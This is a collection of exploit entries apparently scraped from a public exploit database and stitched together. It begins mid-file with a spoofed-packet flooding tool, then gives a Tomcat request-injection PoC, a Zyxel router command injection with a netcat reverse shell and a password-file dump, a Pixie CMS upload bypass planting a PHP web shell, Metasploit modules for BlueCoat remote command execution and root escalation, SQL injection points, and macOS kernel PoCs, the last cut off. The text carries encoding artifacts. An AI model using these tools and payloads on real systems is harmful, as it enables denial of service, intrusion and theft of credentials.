(char *)&on, sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
}
target.sin_family =3D AF_INET;
for (n =3D 0; ; ) {
if (b_link !=3D -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i =3D 0; a_list[i].f !=3D NULL; ++i) {
if (a_list[i].gv & a_flags)
a_list[i].f(a_list[i].kv);
}
if (n++ =3D=3D 100) {
if (until !=3D -1 && time(0) >=3D until) break;
n =3D 0;
}
}
exit(0);
}
u_long
lookup(const char *host)
{
struct hostent *hp;
if ( (hp =3D gethostbyname(host)) =3D=3D NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;
for (i =3D 0, j =3D 0; class[i] !=3D '{TEXTO}'; ++i)
if (class[i] =3D=3D '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
unsigned short
in_cksum(unsigned short *addr, int len)
{
int nleft =3D len;
int sum =3D 0;
unsigned short *w =3D addr;
unsigned short answer =3D 0;
while (nleft > 1) {
sum +=3D *w++;
nleft -=3D 2;
}
if (nleft =3D=3D 1) {
*(unsigned char *) (&answer) =3D *(unsigned char *)w;
sum +=3D answer;
}
sum =3D (sum >> 16) + (sum & 0xffff);
sum +=3D (sum >> 16);
answer =3D ~sum;
return answer;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl =3D 5;
ip->ip_v =3D 4;
ip->ip_p =3D p;
ip->ip_tos =3D 0x08; /* 0x08 */
ip->ip_id =3D random();
ip->ip_len =3D len;
ip->ip_off =3D 0;
ip->ip_ttl =3D 255;
ip->ip_dst.s_addr =3D dst_class !=3D NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr =3D src_class !=3D NULL ?
inet_addr(class2ip(src_class)) :
random();
target.sin_addr.s_addr =3D ip->ip_dst.s_addr;
}
static void
send_tcp(u_char th_flags)
{
struct cksum cksum;
struct packet {
struct ip ip;
struct tcphdr tcp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
cksum.pseudo.daddr =3D dstaddr;
cksum.pseudo.mbz =3D 0;
cksum.pseudo.ptcl =3D IPPROTO_TCP;
cksum.pseudo.tcpl =3D htons(sizeof(struct tcphdr));
cksum.pseudo.saddr =3D packet.ip.ip_src.s_addr;
packet.tcp.th_flags =3D random();
packet.tcp.th_win =3D random();
packet.tcp.th_seq =3D random();
packet.tcp.th_ack =3D random();
packet.tcp.th_off =3D 5;
packet.tcp.th_urp =3D 0;
packet.tcp.th_sport =3D CHOOSE_SRC_PORT();
packet.tcp.th_dport =3D CHOOSE_DST_PORT();
cksum.tcp =3D packet.tcp;
packet.tcp.th_sum =3D in_cksum((void *)&cksum, sizeof(cksum));
SEND_PACKET();
}
static void
send_udp(u_char garbage)
{
struct packet {
struct ip ip;
struct udphdr udp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.udp.uh_sport =3D CHOOSE_SRC_PORT();
packet.udp.uh_dport =3D CHOOSE_DST_PORT();
packet.udp.uh_ulen =3D htons(sizeof packet.udp);
packet.udp.uh_sum =3D 0;
SEND_PACKET();
}
static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
packet.ip.ip_sum =3D in_cksum((void *)&packet.ip, 20);
packet.icmp.icmp_type =3D ICMP_ECHO;
packet.icmp.icmp_code =3D 0;
packet.icmp.icmp_cksum =3D htons( ~(ICMP_ECHO << 8));
for(int pp=3D0;pp<=3D1000;pp++)
{SEND_PACKET();
pp++;
}
}
static void
usage(const char *argv0)
{
printf("%s \n", banner);
printf(" -U UDP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\=
n");
printf(" -I ICMP attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m=
\n");
printf(" -N Bogus attack \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0=
m\n");
printf(" -T TCP attack \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN, 4:URG\e[1;=
37m]\e[0m\n");
printf(" -h destination host/ip \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;3=
7m)\e[0m\n");
printf(" -d destination class \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[=
0m\n");
printf(" -s source class/ip \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\=
n");
printf(" -p destination port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom=
\e[0m\e[1;37m)\e[0m\n");
printf(" -q source port range [start,end] \e[1;37m(\e[0m\e[0;31mrandom\e[0m=
\e[1;37m)\e[0m\n");
printf(" -l pps limiter \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n=
");
printf(" -t timeout \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n")=
;
printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -T4 -U -I -h -p -t]\n", argv0)=
;
exit(-1);
}
# Exploit Title:Apache Tomcat CVE-2016-6816 Security Bypass Vulnerability
# Date: 4th March 2017
# Exploit Author: justpentest
# Vendor Homepage: tomcat.apache.org
# Version: Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6,
8.0.0.RC1 through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47
# Contact: transform2secure@gmail.com
Source: https://www.securityfocus.com/bid/94461/info
1) Description:
Apache Tomcat is prone to a security-bypass vulnerability.
An attacker can exploit this issue to bypass certain security restrictions
and perform unauthorized actions. This may lead to further attacks.
Apache Tomcat 9.0.0.M1 through 9.0.0.M11, 8.5.0 through 8.5.6, 8.0.0.RC1
through 8.0.38, 7.0.0 through 7.0.72 and 6.0.0 through 6.0.47 are
vulnerable.
This could be exploited, in conjunction with a proxy that also permitted
the invalid characters but with a different interpretation, to inject data
into the HTTP response. By manipulating the HTTP response the attacker
could poison a web-cache, perform an XSS attack and/or obtain sensitive
information from requests other then their own.
https://www.securityfocus.com/bid/94461/discuss
2) Exploit:
GET /?{{%25}}cake\=1 HTTP/1.1
Host: justpentest.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Cookie:
NSC_MSN-IBNQ-VX-mcwtfswfs=ffffffff091c1daaaa525d5f4f58455e445a4a488888
OR
GET
/?a'a%5c'b%22c%3e%3f%3e%25%7d%7d%25%25%3ec%3c[[%3f$%7b%7b%25%7d%7dcake%5c=1
HTTP/1.1
Response will be Apache tomcat front page something like
https://en.wikipedia.org/wiki/File:Apache-tomcat-frontpage-epiphany-browser.jpg
3) Refrences:
https://nvd.nist.gov/vuln/detail/CVE-2016-6816
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6816
4) Solution:
As usual update ;)
# Exploit Title: Zyxel, EMG2926 < V1.00(AAQT.4)b8 - OS Command Injection
# Date: 2017-04-02
# Exploit Author: Fluffy Huffy (trevor Hough)
# Vendor Homepage: www.zyxel.com
# Version: EMG2926 - V1.00(AAQT.4)b8
# Tested on: linux
# CVE : CVE-2017-6884
OS command injection vulnerability was discovered in a commonly used
home router (zyxel - EMG2926 - V1.00(AAQT.4)b8). The vulnerability is located in the diagnostic tools
specify the nslookup function. A malicious user may exploit numerous
vectors to execute arbitrary commands on the router.
Exploit (Reverse Shell)
https://192.168.0.1/cgi-bin/luci/;stok=redacted/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&
ping_ip=google.ca%20%3B%20nc%20192.168.0.189%204040%20-e%20/p
Exploit (Dump Password File)
Request
GET /cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup?nslookup_button=nslookup_button&ping_ip=google.ca%3b%20cat%20/etc/passwd&server_ip= HTTP/1.1
Host: 192.168.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://192.168.0.1/cgi-bin/luci/;stok=<Clipped>/expert/maintenance/diagnostic/nslookup
Accept-Language: en-US,en;q=0.8
Cookie: csd=9; sysauth=<Clipped>
Connection: close
Response (Clipped)
<textarea cols="80" rows="15" readonly="true">root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55:ftp:/home/ftp:/bin/false
network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody:/var:/bin/false
supervisor:$1$RM8l7snU$KW2C58L2Ijt0th1ThR70q0:0:0:supervisor:/:/bin/ash
admin:$1$<Clipped>:0:0:admin:/:/bin/fail
# Exploit Title: File Extension Filter Bypass in File Manager Pixie 1.0.4 With Low Privilege # Google Dork: no
# Date: 02-April-2017
# Exploit Author: @rungga_reksya, @dvnrcy, @dickysofficial
# Vendor Homepage: http://www.getpixie.co.uk
# Software Link: https://us.softpedia-secure-download.com/dl/44791fdde14260bc7a8d08df65bcd048/58db4b5c/700044699/webscripts/php/pixie_v1.04.zip
# Version: 1.0.4
# CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (7.5 - HIGH)# CVE-2017-7402
I. Background:
Pixie is a free, open source web application that will help quickly create your own website. Many people refer to this type of software as a "content management system (cms)", we prefer to call it as Small, Simple, Site Maker.
II. Description:
in Pixie CMS have three types for account privilege for upload:
- Administrator - Can access file manager but restricted extension for file upload.
- Client - Can access file manager but restricted extension for file upload.
- User - Cannot access file manager
Generally Pixie CMS have restricted extension for file upload and we cannot upload php extension. in normally if we upload php file, Pixie CMS will give information rejected like this “Upload failed. Please check that the folder is writeable and has the correct permissions set”.
III. Exploit:
In this case, we used privilege as client and then access to “file manager” (http://ip_address/folder_pixie_v1.04/admin/index.php?s=publish&x=filemanager). Please follow this step:
1. Prepare software to intercept (I used burpsuite free edtion).
2. Prepare for real image (our_shell.jpg).
3. Browse your real image on file manager pixie cms and click to upload button.
4. Intercept and change of filename “our_shell.jpg” to be “our_shell.jpg.php”
5. Under of perimeter “Content-Type: image/jpeg”, please change and write your shell. in this example, I use cmd shell.
6. If you done, forward your edit request in burpsuite and the pixie cms will give you information like this “our_shell.jpg.php was successfully uploaded”.
7. PWN (http://ip_address/folder_pixie_v1.04/files/other/our_shell.jpg.php?cmd=ipconfig)
————
POST /pixie_v1.04/admin/index.php?s=publish&x=filemanager HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/pixie_v1.04/admin/index.php?s=publish&x=filemanager
Cookie: INTELLI_843cae8f53=ovfo0mpq3t2ojmcphj320geku1; loader=loaded; INTELLI_dd03efc10f=2sf8jl7fjtk3j50p0mgmekpt72; f9f33fc94752373729dab739ff8cb5e7=poro8kl89grlc4dp5a4odu2c05; PHPSESSID=1ml97c15suo30kn1dalsp5fig4; bb2_screener_=1490835014+192.168.1.6; pixie_login=client%2C722b69fa2ae0f040e4ce7f075123cb18
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------8321182121675739546763935949
Content-Length: 901
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="upload[]"; filename="our_shell.jpg.php"
Content-Type: image/jpeg
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="file_tags"
ourshell
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="submit_upload"
Upload
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="MAX_FILE_SIZE"
102400
-----------------------------8321182121675739546763935949
Content-Disposition: form-data; name="bb2_screener_"
1490835014 192.168.1.6
-----------------------------8321182121675739546763935949--
This is our screenshot from PoC:
| |
| Upload for valid image
|
| |
| Change extension and insert your shell
|
| |
| Your shell success to upload on server
|
| |
| Example command for ipconfig
|
| |
| Example command for net user
|
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- @rungga_reksya, @dvnrcy, @dickysofficial
- Komunitas IT Auditor & IT Security Kaskus
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to an OS command injection vulnerability.
An authenticated malicious administrator can execute arbitrary OS commands with the privileges of the tomcat user.
Proof of Concept:
Metasploit Module - Remote Command Injection (via Report Email)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###
require 'msf/core'
class Metasploit4 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "BlueCoat CAS 1.3.7.1 \"Report Email\" Command Injection",
'Description' => %q{
BlueCoat CAS 1.3.7.1 (and possibly previous versions) are susceptible to an authenticated Remote Command Injection attack against
the Report Email functionality. This module exploits the vulnerability, resulting in tomcat execute permissions.
Any authenticated user within the 'administrator' group is able to exploit this; however, a user within the 'Readonly' group cannot.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'Platform' => %w{ linux unix },
'Targets' =>
[
['BlueCoat CAS 1.3.7.1', {}],
],
'DefaultTarget' => 0,
'Arch' => [ ARCH_X86, ARCH_X64, ARCH_CMD ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Payload' =>
{
'BadChars' => '',
'Compat' =>
{
#'PayloadType' => 'cmd python cmd_bash cmd_interact',
#'RequiredCmd' => 'generic perl python openssl bash awk', # metasploit may need to fix [bash,awk]
}
},
'References' =>
[
['CVE', '2016-9091'],
['EDB', '##TBD##'],
['URL', 'https://bto.bluecoat.com/security-advisory/sa138']
],
'DefaultOptions' =>
{
'SSL' => true
},
'Privileged' => true))
register_options([
Opt::RPORT(8082),
OptString.new('USERNAME', [ true, 'Single username' ]),
OptString.new('PASSWORD', [ true, 'Single password' ])
], self.class)
end
#Check BlueCoat CAS version - unauthenticated via GET /avenger/rest/version
def check
res = send_request_raw({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'version')
})
clp_version = res.body.split("\<\/serialNumber\>\<version\>")
clp_version = clp_version[1]
clp_version = clp_version.split("\<")
clp_version = clp_version[0]
if res and clp_version != "1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clp_version}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clp_version}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat Host...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
post = {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets'),
'method' => 'POST',
'vars_post' => post
})
unless res && res.code == 201
print_error("#{peer} - Server did not respond in an expected way")
return
end
redirect = res.headers['Location']
ticket1 = redirect.split("\/tickets\/").last
print_status("#{peer} - Step 1 - REQ:Login -> RES:Ticket1 -> #{ticket1}")
post = {
'service' => 'http://localhost:8447/avenger/j_spring_cas_security_check'
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'cas', 'v1', 'tickets', "#{ticket1}"),
'method' => 'POST',
'vars_post' => post
})
ticket2 = res.body
print_status("#{peer} - Step 2 - REQ:Ticket1 -> RES:Ticket2 -> #{ticket2}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "avenger/j_spring_cas_security_check?dc=1472496573838&ticket=#{ticket2}")
})
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
print_status("#{peer} - Step 3 - REQ:Ticket2 -> RES:COOKIE -> #{cookie}")
if cookie.blank?
print_error("#{peer} - Could not retrieve a cookie")
return
end
unless res && res.code == 302
print_error("#{peer} - Server did not respond in an expected way")
return
end
cookie = res.get_cookies
if cookie.blank?
print_error("#{peer} - Could not retrieve the authenticated cookie")
return
end
print_status("#{peer} - LOGIN Process Complete ...")
print_status("#{peer} - Exploiting Bluecoat CAS v1.3.7.1 - Report Email ...")
if payload.raw.include?("perl") || payload.raw.include?("python") || payload.raw.include?("openssl")
#print_status("#{peer} - DEBUG: asci payload (perl,python, openssl,?bash,awk ")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d|sh;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
else
#print_status("#{peer} - DEBUG - binary payload (meterpreter,etc, !!")
post = "{\"reportType\":\"jpg\",\"url\":\"http\:\/\/localhost:8447/dev-report-overview.html\;echo #{Rex::Text.encode_base64(payload.raw)}|base64 -d>/var/log/metasploit.bin;chmod +x /var/log/metasploit.bin;/var/log/metasploit.bin;\",\"subject\":\"CAS #{datastore["RHOST"]}: CAS Overview Report\"}"
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'avenger', 'rest', 'report-email', 'send'),
'method' => 'POST',
'cookie' => cookie,
'ctype' => 'application/json',
'data' => post
})
print_status("#{peer} - Payload sent ...")
end
end
# Exploit Title: OS Command Injection Vulnerability in BlueCoat ASG and CAS
# Date: April 3, 2017
# Exploit Authors: Chris Hebert, Peter Paccione and Corey Boyd
# Contact: chrisdhebert[at]gmail.com
# Vendor Security Advisory: https://bto.bluecoat.com/security-advisory/sa138
# Version: CAS 1.3 prior to 1.3.7.4 & ASG 6.6 prior to 6.6.5.4 are vulnerable
# Tested on: BlueCoat CAS 1.3.7.1
# CVE : cve-2016-9091
Timeline:
--------
08/31/2016 (Vulnerablities Discovered)
03/31/2017 (Final Vendor Patch Confirmed)
04/03/2017 (Public Release)
Description:
The BlueCoat ASG and CAS management consoles are susceptible to a privilege escalation vulnerablity.
A malicious user with tomcat privileges can escalate to root via the vulnerable mvtroubleshooting.sh script.
Proof of Concept:
Metasploit Module - root priv escalation (via mvtroubleshooting.sh)
-----------------
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
require 'msf/core/exploit/local/linux'
require 'msf/core/exploit/exe'
class Metasploit4 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::Local::Linux
def initialize(info={})
super( update_info( info, {
'Name' => 'BlueCoat CAS 1.3.7.1 tomcat->root privilege escalation (via mvtroubleshooting.sh)',
'Description' => %q{
This module abuses the sudo access granted to tomcat and the mvtroubleshooting.sh script to escalate
privileges. In order to work, a tomcat session with access to sudo on the sudoers
is needed. This module is useful for post exploitation of BlueCoat
vulnerabilities, where typically web server privileges are acquired, and this
user is allowed to execute sudo on the sudoers file.
},
'License' => MSF_LICENSE,
'Author' => [
'Chris Hebert <chrisdhebert[at]gmail.com>',
'Pete Paccione <petepaccione[at]gmail.com>',
'Corey Boyd <corey.k.boyd[at]gmail.com>'
],
'DisclosureDate' => 'Vendor Contacted 8-31-2016',
'References' =>
[
['EDB', '##TBD##'],
['CVE', '2016-9091' ],
['URL', 'http://https://bto.bluecoat.com/security-advisory/sa138']
],
'Platform' => %w{ linux unix },
'Arch' => [ ARCH_X86 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' =>
[
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
],
'DefaultOptions' => { "PrependSetresuid" => true, "WfsDelay" => 2 },
'DefaultTarget' => 0,
}
))
register_options([
OptString.new("WritableDir", [ false, "A directory where we can write files", "/var/log" ]),
], self.class)
end
def check
id=cmd_exec("id -un")
if id!="tomcat"
print_status("#{peer} - ERROR - Session running as id= #{id}, but must be tomcat")
fail_with(Failure::NoAccess, "Session running as id= #{id}, but must be tomcat")
end
clprelease=cmd_exec("cat /etc/clp-release | cut -d \" \" -f 3")
if clprelease!="1.3.7.1"
print_status("#{peer} - ERROR - BlueCoat version #{clprelease}, but must be 1.3.7.1")
fail_with(Failure::NotVulnerable, "BlueCoat version #{clprelease}, but must be 1.3.7.1")
end
return Exploit::CheckCode::Vulnerable
end
def exploit
print_status("#{peer} - Checking for vulnerable BlueCoat session...")
if check != CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "FAILED Exploit - BlueCoat not running as tomcat or not version 1.3.7.1")
end
print_status("#{peer} - Running Exploit...")
exe_file = "#{datastore["WritableDir"]}/#{rand_text_alpha(3 + rand(5))}.elf"
write_file(exe_file, generate_payload_exe)
cmd_exec "chmod +x #{exe_file}"
begin
#Backup original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /etc/init.d/nscd /data/bluecoat/avenger/ui/logs/tro$
#Replaces /etc/init.d/nscd script with meterpreter payload
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh #{exe_file} /data/bluecoat/avenger/ui/logs/troubles$
#Executes meterpreter payload as root
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/flush_dns.sh"
#note, flush_dns.sh waits for payload to exit. (killing it falls over to init pid=1)
ensure
#Restores original nscd init script
cmd_exec "/usr/bin/sudo /opt/bluecoat/avenger/scripts/mv_troubleshooting.sh /var/log/nscd.backup /data/bluecoat/avenger/ui/logs$
#Remove meterpreter payload (precautionary as most recent mv_troubleshooting.sh should also remove it)
cmd_exec "/bin/rm -f #{exe_file}"
end
print_status("#{peer} - The exploit module has finished")
#Maybe something here to deal with timeouts?? noticied inconsistant.. Exploit failed: Rex::TimeoutError Operation timed out.
end
end
# # # # #
# Exploit Title: Maian Greetings v2.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiangreetings.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/greetings/
# Version: 2.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=search&keywords=a&cat=[SQL]
# # # # #
# # # # #
# Exploit Title: Maian Uploader Script v4.0 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maianuploader.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/uploader/
# Version: 4.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# Login as regular user
# http://localhost/[PATH]/index.php?cmd=view&user=[SQL]
# mu_members:id
# mu_members:joindate
# mu_members:sign_date
# mu_members:joinstamp
# mu_members:username
# mu_members:email
# mu_members:accpass
# # # # #
# # # # #
# Exploit Title: Maian Survey v1.1 - SQL Injection
# Google Dork: N/A
# Date: 04.04.2017
# Vendor Homepage: http://www.maiansoftware.com/
# Software: http://www.maiansurvey.com/?dl=yes
# Demo: http://www.maiansoftware.com/demos/survey/
# Version: 1.1
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?cmd=surveys&survey=[SQL]
# # # # #
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1071
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
*/
// ianbeer
// build: clang -o capri_exec capri_exec.c -framework IOKit
#if 0
MacOS kernel code execution due to lack of bounds checking in AppleIntelCapriController::GetLinkConfig
Selector 0x921 of IntelFBClientControl ends up in AppleIntelCapriController::GetLinkConfig
This method takes a structure input and output buffer. It reads an attacker controlled dword from the input buffer which it
uses to index an array of pointers with no bounds checking:
This pointer is passed to AppleIntelFramebuffer::validateDisplayMode and the uint64 at offset +2130h is used as a C++ object pointer
on which a virtual method is called. With some heap grooming this could be used to get kernel code execution.
tested on MacOS Sierra 10.12.2 (16C67)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach_error.h>
#include <IOKit/IOKitLib.h>
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 0x1d8;
for (int step = 1; step < 1000; step++) {
memset(inputStruct, 0, inputStructCnt);
*(uint32_t*)inputStruct = 0x238 + (step*(0x2000/8));
outputStructCnt = 4096;
memset(outputStruct, 0, outputStructCnt);
err = IOConnectCallMethod(
conn,
0x921,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if (err == KERN_SUCCESS) {
break;
}
printf("retrying 0x2000 up - %s\n", mach_error_string(err));
}
uint64_t* leaked = (uint64_t*)(outputStruct+3);
for (int i = 0; i < 0x1d8/8; i++) {
printf("%016llx\n", leaked[i]);
}
return 0;
}
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111
SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the
ifnet_ordered_head linked list of interfaces.
SIOCSIFORDER clears the existing list and allows userspace to specify an array of
interface indexes used to build a new list.
SIOCGIFORDER allow userspace to query the list of interface identifiers used to build
that list.
Here's the relevant code for SIOCGIFORDER:
case SIOCGIFORDER: { /* struct if_order */
struct if_order *ifo = (struct if_order *)(void *)data;
u_int32_t ordered_count = if_ordered_count; <----------------- (a)
if (ifo->ifo_count == 0 ||
ordered_count == 0) {
ifo->ifo_count = ordered_count;
} else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) {
u_int32_t count_to_copy =
MIN(ordered_count, ifo->ifo_count); <---------------- (b)
size_t length = (count_to_copy * sizeof(u_int32_t));
struct ifnet *ifp = NULL;
u_int32_t cursor = 0;
ordered_indices = _MALLOC(length, M_NECP, M_WAITOK);
if (ordered_indices == NULL) {
error = ENOMEM;
break;
}
ifnet_head_lock_shared();
TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) {
if (cursor > count_to_copy) { <------------------ (c)
break;
}
ordered_indices[cursor] = ifp->if_index; <------------------ (d)
cursor++;
}
ifnet_head_done();
at (a) it reads the actual length of the list (of course it should take the lock here too,
but that's not the bug I'm reporting)
at (b) it computes the number of entries it wants to copy as the minimum of the requested number
and the actual number of entries in the list
the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that
the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of
elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen!
By requesting one fewer entries than are actually in the list the code will always write one interface index
entry one off the end of the ordered_indices array.
This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries
then writes 5 entries into there.
